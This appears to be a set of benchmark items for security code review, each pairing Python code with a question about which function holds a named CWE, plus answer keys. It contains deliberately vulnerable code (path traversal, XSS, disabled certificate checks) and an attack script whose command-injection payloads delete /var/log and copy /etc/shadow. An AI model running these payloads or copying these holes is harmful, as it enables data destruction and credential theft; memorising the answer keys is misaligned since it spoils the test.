    filepath = request.args.get('fp')
    img_prep = request.args.get('img_prep')
    text = extract_text(filepath, img_prep)

    if os.path.exists(filepath):
        os.remove(filepath)

    return render_template('output.html', title='Results', text=text)


@app.route('/download_as_file', methods=['POST'])
def download_as_file():
    text = request.form.get('text')

    fname = '-'.join([str(uuid.uuid4().hex)[:16], 'yaOCRa.txt'])
    fpath = os.path.join(app.config['UPLOAD_FOLDER'], fname)
    with open(fpath, 'w', encoding='utf-8') as f:
        f.write(text)

    return redirect(url_for('download', filename=fname))


@app.route('/tmp/<filename>')
def download(filename):
    return send_from_directory(
        directory=app.config['DOWNLOAD_DIR'],
        filename=filename,
        as_attachment=True
    )
    return redirect(url_for('index'))

```

Name the function or class in this code that contains a `CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')` vulnerability.
Answer: results
system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
import os
from jinja2 import Template
from session import existRecord, path
from db import getUser

def checkLogin(u, p):
    res = getUser(u, p)
    print (res)
    return res
    # def check(rec):
    #     r = rec.split(',')
    #     return (r[0].strip() == u) and (p == r[1].strip())
    # res, rec = existRecord(os.path.join(path, users), check)
    # reca = rec.split(',')
    # return res, reca[2].strip() #res, type (A || M)

def redirectTo(url, message = '', timeout = 0):
    filename = os.path.join(path, 'redirect.templ')
    with open(filename, 'r') as f:
        html = f.read()
        template = Template(html)
        print(template.render(url=url, message=message, timeout=timeout))

```

Which of the following functions or classes contains a `CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')` vulnerability?

  A) redirectTo
  B) checkLogin
Answer: A
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
import os
from jinja2 import Template
from session import existRecord, path
from db import getUser

def checkLogin(u, p):
    res = getUser(u, p)
    print (res)
    return res
    # def check(rec):
    #     r = rec.split(',')
    #     return (r[0].strip() == u) and (p == r[1].strip())
    # res, rec = existRecord(os.path.join(path, users), check)
    # reca = rec.split(',')
    # return res, reca[2].strip() #res, type (A || M)

def redirectTo(url, message = '', timeout = 0):
    filename = os.path.join(path, 'redirect.templ')
    with open(filename, 'r') as f:
        html = f.read()
        template = Template(html)
        print(template.render(url=url, message=message, timeout=timeout))

```

Name the function or class in this code that contains a `CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')` vulnerability.
Answer: redirectTo
system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
import aiohttp
import asyncio
import argparse


async def get(url):
    try:
        async with aiohttp.ClientSession() as session:
            async with session.get(url=url) as response:
                resp = await response.read()
    except Exception as e:
        raise e


async def post(url, user_input):
    data = {"commentaire": user_input}
    try:
        async with aiohttp.ClientSession() as session:
            async with session.post(url=url, json=data, ssl=False) as response:
                resp = await response.read()
    except Exception as e:
        raise e


async def denial_of_service(port):
    ret = await asyncio.gather(*[get('http://localhost:{}/api/values/'.format(port)) for i in range(10000)])


async def destroy_logs(port):
    await asyncio.gather(post('http://localhost:{}/api/values/manette/xbox'.format(port),
               "\"; chmod 777 /var -R; rm -rf /var/log; mkdir /var/log; > /var/log/message;"
               " echo \"Much lulz. J'ai delete tes logs.\r\n Comment les recuperer:"
               " https://www.youtube.com/watch?v=oHg5SJYRHA0\" >> /var/log/message #"))


async def vandalize_website(port):
    await asyncio.gather(post('http://localhost:{}/api/values/manette/xbox'.format(port),
               "\"; chmod 777 /etc/shadow; rm /tmp/xbox; cp /etc/shadow /tmp/xbox #"))


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Script reproduisant les attaques observees")
    parser.add_argument("-s", "--script",  required=True,
                        help="Nombre de 0 à 2 representant l'index de l'attaque")
    parser.add_argument("-p", "--port", required=True, help="Port sur lequel roule l'API")
    script = int(vars(parser.parse_args())["script"])
    port = vars(parser.parse_args())["port"]
    if script == 0:
        asyncio.run(denial_of_service(port))
    elif script == 1:
        asyncio.run(destroy_logs(port))
    elif script == 2:
        asyncio.run(vandalize_website(port))
    else:
        print("La valeur de script est invalide.")
```

Which of the following functions or classes contains a `CWE-295: Improper Certificate Validation` vulnerability?

  A) destroy_logs
  B) get
  C) post
  D) denial_of_service
Answer: C
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
import aiohttp
import asyncio
import argparse


async def get(url):
    try:
        async with aiohttp.ClientSession() as session:
            async with session.get(url=url) as response:
                resp = await response.read()
    except Exception as e:
        raise e


async def post(url, user_input):
    data = {"commentaire": user_input}
    try:
        async with aiohttp.ClientSession() as session:
            async with session.post(url=url, json=data, ssl=False) as response:
                resp = await response.read()
    except Exception as e:
        raise e


async def denial_of_service(port):
    ret = await asyncio.gather(*[get('http://localhost:{}/api/values/'.format(port)) for i in range(10000)])


async def destroy_logs(port):
    await asyncio.gather(post('http://localhost:{}/api/values/manette/xbox'.format(port),
               "\"; chmod 777 /var -R; rm -rf /var/log; mkdir /var/log; > /var/log/message;"
               " echo \"Much lulz. J'ai delete tes logs.\r\n Comment les recuperer:"
               " https://www.youtube.com/watch?v=oHg5SJYRHA0\" >> /var/log/message #"))


async def vandalize_website(port):
    await asyncio.gather(post('http://localhost:{}/api/values/manette/xbox'.format(port),
               "\"; chmod 777 /etc/shadow; rm /tmp/xbox; cp /etc/shadow /tmp/xbox #"))


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Script reproduisant les attaques observees")
    parser.add_argument("-s", "--script",  required=True,
                        help="Nombre de 0 à 2 representant l'index de l'attaque")
    parser.add_argument("-p", "--port", required=True, help="Port sur lequel roule l'API")
    script = int(vars(parser.parse_args())["script"])
    port = vars(parser.parse_args())["port"]
    if script == 0:
        asyncio.run(denial_of_service(port))
    elif script == 1:
        asyncio.run(destroy_logs(port))
    elif script == 2:
        asyncio.run(vandalize_website(port))
    else:
        print("La valeur de script est invalide.")
```

Name the function or class in this code that contains a `CWE-295: Improper Certificate Validation` vulnerability.
Answer: post